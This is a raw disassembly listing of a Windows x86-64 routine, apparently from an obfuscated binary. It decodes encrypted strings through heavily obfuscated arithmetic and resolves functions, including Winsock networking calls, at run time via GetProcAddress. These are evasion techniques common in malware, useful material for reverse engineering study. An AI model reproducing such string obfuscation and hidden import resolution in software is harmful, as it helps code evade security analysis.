mov byte [rbp + 0x126], 0xff
mov byte [rbp + 0x127], 0xe9
mov byte [rbp + 0x128], 0xf2
mov byte [rbp + 0x129], 0xed
mov byte [rbp + 0x12a], 0xf7
mov byte [rbp + 0x12b], 0x5b
xor eax, eax
mov qword [rbp + 0x12c], rax
mov dword [rbp + 0x134], eax
mov byte [rbp + 0x138], al
movabs rsi, 0x9a0436c41428be19
movabs r13, 0x88ac12415c0d94b3
movabs r14, 0xbcb47fc9845f10e5
movzx edi, byte [rbp + 0x410]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r15d, r15d
cmp r15, 0x19
jae 0x14006e5df
movzx r10d, byte [rbp + r15 + 0x120]
mov r11d, r10d
nop dword [rax]
cmp rbx, r15
ja 0x14006e5d6
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006dcbc
lea rcx, [r15 + r13]
mov rax, rcx
and rax, r11
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r11
add dil, 0x1b
jmp 0x14006dce9
je 0x14006e554
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006e4d9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006e4a9
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006e462
movzx r9d, r15b
nop dword [rax]
cmp r8, r15
ja 0x14006e5cd
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006dd1a
lea ecx, [r9 - 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x37
jmp 0x14006dd50
je 0x14006e449
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006e429
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006e40c
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006e3ef
nop word [rax + rax]
lea rdx, [r8 + rbx]
cmp rdx, r15
jbe 0x14006e07c
nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14006e061
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006e03e
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14006e01b
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006dffc
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006dfdc
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006e5b0
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14006e594
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14006dec5
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006deaa
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006de8f
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14006dd60
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x61]
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14006dfbc
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14006df9c
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14006df7d
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14006df60
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14006df43
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006df20
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006defd
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14006dee2
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006dd60
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x41]
jmp 0x14006dd60
lea ecx, [r9 + 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x57
jmp 0x14006dd50
lea ecx, [r9 - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x73
jmp 0x14006dcf0
add r9b, 0x65
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x3d
jmp 0x14006dc90
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x14006e47f
add r9b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
inc r8
dec r15
jmp 0x14006e578
sub r9b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r15
jmp 0x14006e578
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14006e4c0
add r9b, 0x7a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x56
jmp 0x14006e4c3
lea edx, [r9 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e4f5
sub r9b, 0x52
movzx eax, r9b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006e522
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006e569
sub r9b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006e4c0
lea edx, [r9 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e3aa
sub r9b, 0x4a
movzx eax, r9b
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r15
jmp 0x14006e578
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
inc r8
dec r15
jmp 0x14006e578
lea ecx, [r9 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
jmp 0x14006e47f
lea r11, [r8 + 1]
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x14006e13d
lea ecx, [r9 - 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1b
lea r14, [r8 + 2]
lea rsi, [r8 + 3]
cmp rdx, 0x200
je 0x14006e3d3
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x14006e200
lea ecx, [r9 - 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6f
cmp rbx, 0x400
jae 0x14006e38d
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x14006e2b8
lea edx, [r9 + 0x56]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5a
add dil, dl
cmp r8, 0x61
jb 0x14006e380
lea edx, [r9 + 0x52]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x7c]
jmp 0x14006e47f
cmp rbx, r11
jne 0x14006e162
add r9b, 0x5e
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006e569
lea r14, [r8 + 2]
cmp rbx, r14
jne 0x14006e188
sub r9b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5c
jmp 0x14006e522
lea rsi, [r8 + 3]
cmp rbx, rsi
jne 0x14006e1ac
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x14006e4f5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006e1d4
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e3aa
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006e0ab
lea edx, [r9 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e47f
cmp rbx, r11
jne 0x14006e220
lea ecx, [r9 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5b
jmp 0x14006e47f
cmp rbx, r14
jne 0x14006e245
sub r9b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x11
dec r15
jmp 0x14006e578
cmp rbx, rsi
jne 0x14006e266
lea edx, [r9 + 0x3f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x47
jmp 0x14006e3a7
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006e28c
sub r9b, 0x5b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x7d
jmp 0x14006e4c0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006e0de
lea edx, [r9 + 0x71]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x17
add dil, dl
jmp 0x14006e4f5
cmp rbx, r11
jne 0x14006e2da
sub r9b, 0x44
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x24
jmp 0x14006e569
cmp rbx, r14
jne 0x14006e2ff
sub r9b, 0x12
movzx eax, r10b
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006e4c3
cmp rbx, rsi
jne 0x14006e321
add r9b, 0x54
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x4c
jmp 0x14006e4c0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006e34d
add r9b, 0x20
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r15
jmp 0x14006e578
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006e112
sub r9b, 0x7a
movzx eax, r10b
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r15
jmp 0x14006e578
mov byte [rbp + r15 + 0x120], dil
jmp 0x14006e578
lea edx, [r9 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 8
add dil, r10b
add dil, dl
add r9b, 0x6b
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x13
add cl, r10b
add cl, r9b
mov byte [rbp + r15 + 0x120], cl
jmp 0x14006e4c0
lea edx, [r9 + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006e4f5
add r9b, 0x13
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x7b
jmp 0x14006e4c3
sub r9b, 0x53
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x45
jmp 0x14006e4c0
sub r9b, 0x1f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x27
dec r15
jmp 0x14006e578
lea edx, [r9 + 0x15]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x6d
jmp 0x14006e47c
movzx r9d, r15b
lea edx, [r9 + 0x49]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
inc dil
add dil, dl
add r9b, 5
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x23
add r10b, r9b
mov byte [rbp + r15 + 0x120], r10b
inc r8
dec r15
jmp 0x14006e578
lea ecx, [r15 - 0x4f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x29
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r15, rcx
jmp 0x14006e578
lea rcx, [r15 + r14]
and r11b, cl
add r11b, r11b
movzx edi, r10b
sub dil, r11b
sub dil, 0x43
add dil, cl
movzx r9d, r15b
sub r9b, 0x2f
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x49
add cl, r9b
movzx eax, cl
mov byte [rbp + r15 + 0x120], al
inc r8
add rax, r8
sub r15, rax
lea edx, [r15 - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, 0x32
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r15 + 0x120], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r15, rax
jmp 0x14006e569
lea rax, [r15 + rsi]
and r11b, al
add r11b, r11b
sub r10b, r11b
lea edi, [rax + r10]
add dil, 0x51
movzx eax, byte [rbp + r15 + 0x120]
add rax, r8
add r15, rax
inc r15
movabs rsi, 0x9a0436c41428be19
movabs r14, 0xbcb47fc9845f10e5
jmp 0x14006dc73
dec r9b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 7
jmp 0x14006dc70
sub r9b, 0x67
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x2f
jmp 0x14006dc60
lea rdx, [rbp + 0x15fe964]
jmp 0x14006e5e6
lea rdx, [rbp + 0x16d7e17]
jmp 0x14006e5e6
lea rdx, [rbp + 0x120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x40], rax
mov byte [rbp + 0x140], 0xcb
mov byte [rbp + 0x141], 0xf9
mov byte [rbp + 0x142], 0xe1
mov byte [rbp + 0x143], 0xea
mov byte [rbp + 0x144], 0xcb
mov byte [rbp + 0x145], 0xf6
mov byte [rbp + 0x146], 0xea
mov byte [rbp + 0x147], 0xf3
mov byte [rbp + 0x148], 0xef
mov byte [rbp + 0x149], 0xe0
mov byte [rbp + 0x14a], 0x98
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x14b], xmm0
mov dword [rbp + 0x15b], eax
mov byte [rbp + 0x15f], al
movabs rsi, 0xc46a266172e8f413
movabs r15, 0x5ee70caa245eac85
movabs r14, 0x4d3e732458badc39
movzx edi, byte [rbp + 0x410]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x20
jae 0x14006f236
movzx r10d, byte [rbp + r11 + 0x140]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14006f22d
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006e6dc
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x7b
jmp 0x14006e716
je 0x14006f1c1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006f13c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006f0e4
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006f0c3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006f09f
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14006f224
lea rcx, [r8 + 6]
cmp rbx, rcx
jae 0x14006e74a
lea ecx, [r9 - 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x17
jmp 0x14006e790
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006f05c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006f03a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006f01d
cmp rbx, rcx
je 0x14006f000
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006efd1
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006ece6
nop dword [rax]
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006eccb
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006eca5
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14006ec82
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006ec67
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006ec4a
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14006ec2d
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14006ec12
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006ebf5
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006ebc6
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006e7a0
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006f207
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006f1ea
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006e98d
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006e972
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14006e957
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006eb7d
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006eb34
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14006eaf5
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006eacd
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14006e7a0
lea rbx, [r8 + 1]
lea r8, [rbx + 0x20]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14006ea9b
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006ea7e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006ea63
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006ea46
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14006ea29
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14006ea0e
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14006e9eb
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006e9c5
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14006e9aa
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14006e7a0
lea rbx, [r8 + 0x80]
lea r8, [rbx + 1]
jmp 0x14006e7a0
lea ecx, [r9 + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x37
jmp 0x14006e790
lea ecx, [r9 + 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2d
jmp 0x14006e720
add r9b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x23
jmp 0x14006e6b0
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x14006f072
add r9b, 0x52
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3e
inc r8
dec r11
inc r11
jmp 0x14006e693
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
dec r11
inc r11
jmp 0x14006e693
lea ecx, [r9 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2a
jmp 0x14006f0fe
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14006f120
sub r9b, 0x46
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x16
jmp 0x14006f123
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x14006f152
add r9b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 2
jmp 0x14006f17e
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e693
sub r9b, 0x17
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5f
mov byte [rbp + r11 + 0x140], dil
inc r11
jmp 0x14006e693
lea ecx, [r9 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x55
cmp r8, 0x1000
jb 0x14006eae5
lea ecx, [r9 - 0x6e]
movzx eax, cl
and al, r10b
mov edx, 1
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14006f072
lea ecx, [r9 - 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4b
cmp rbx, 5
jae 0x14006ef9d
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x14006ee94
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006eb0b
lea ecx, [r9 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x41
lea rax, [r8 + rbx]
cmp rax, 0x64
je 0x14006efbb
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x14006ede2
lea ecx, [r9 - 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4f
jmp 0x14006eb4a
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e693
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
jmp 0x14006f17e
lea ecx, [r9 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x62
jmp 0x14006f152
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x14006f123
sub r9b, 0x3e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4e
jmp 0x14006f120
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x14006f0fe
add r9b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
dec r11
inc r11
jmp 0x14006e693
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x14006e693
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x14006f072
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14006ed0a
lea ecx, [r9 + 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7b
jmp 0x14006eb93
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006ed45
add r9b, 0x1e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e693
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006ed6d
lea edx, [r9 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006f152
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006ed96
sub r9b, 0x4a
movzx eax, r9b
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006f120
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006edba
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
jmp 0x14006f0fe
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006eb93
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
jmp 0x14006f072
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006ee06
lea ecx, [r9 - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x45
jmp 0x14006f072
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006ee32
sub r9b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x31
dec r11
inc r11
jmp 0x14006e693
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006ee58
add r9b, 0x6b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x13
jmp 0x14006f123
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006eb4a
sub r9b, 0x23
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xb
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e693
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006eecf
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e693
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006eef8
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006f17e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006ef20
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006f152
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006ef49
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006f120
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006ef71
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006f0fe
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006eb0b
lea edx, [r9 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006f072
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
add dil, r10b
jmp 0x14006f0fe
lea ecx, [r9 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x12]
jmp 0x14006f152
sub r9b, 0x1b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x43
movzx eax, byte [rbp + r11 + 0x140]
add rax, r8
add r11, rax
inc r11
jmp 0x14006e693
sub r9b, 0x41
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x39
jmp 0x14006f17e
add r9b, 0x4d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1b
jmp 0x14006f120
inc r9b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 7
dec r11
inc r11
jmp 0x14006e693
lea ecx, [r9 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xd
sub r9b, 0x5b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x7d
add r9b, r10b
mov byte [rbp + r11 + 0x140], r9b
inc r8
dec r11
inc r11
jmp 0x14006e693
lea ecx, [r11 + 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2b
inc r8
dec r11
inc r11
jmp 0x14006e693
lea ecx, [r11 + 0x1d]
movzx eax, cl
